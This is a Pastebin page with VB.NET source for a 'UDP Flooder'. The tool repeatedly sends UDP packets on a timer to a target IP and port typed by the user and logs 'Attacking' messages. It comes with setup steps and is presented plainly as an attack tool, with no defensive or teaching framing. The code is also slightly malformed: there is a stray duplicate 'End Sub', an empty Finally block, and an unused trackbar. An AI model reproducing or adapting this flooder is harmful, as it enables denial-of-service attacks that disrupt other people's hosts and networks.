Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- UDP Flooder by TermSpar (Ben from BenAndChris)
- Before entering this code make sure that you first have:
- -----------------------------------------------------------------------------------------------------------------------------------
- 2 buttons
- 1 Timer
- 1 Listbox named Data
- 3 text boxes, first one for the IP, second one for the port, and third one for the message
- 1 Trackbar
- Import:
- Imports System.Net
- Imports System.Text
- Imports System.Net.Sockets
- Imports System.Diagnostics
- -----------------------------------------------------------------------------------------------------------------------------------
- Public Class Form1
- Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
- Try
- Data.Items.Add("Attacking " + TextBox1.Text + " With Data ")
- Data.Items.Add(My.Computer.Info.AvailableVirtualMemory)
- Data.Items.Add("")
- Dim udpClient As New UdpClient
- Dim GLOIP As IPAddress
- Dim bytCommand As Byte() = New Byte() {}
- GLOIP = IPAddress.Parse(TextBox1.Text)
- udpClient.Connect(GLOIP, TextBox2.Text)
- bytCommand = Encoding.ASCII.GetBytes(TextBox3.Text)
- udpClient.Send(bytCommand, bytCommand.Length)
- Finally
- End Try
- End Sub
- End Sub
- Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) Handles Button1.Click
- Timer1.Start()
- End Sub
- Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs) Handles Button2.Click
- Timer1.Stop()
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement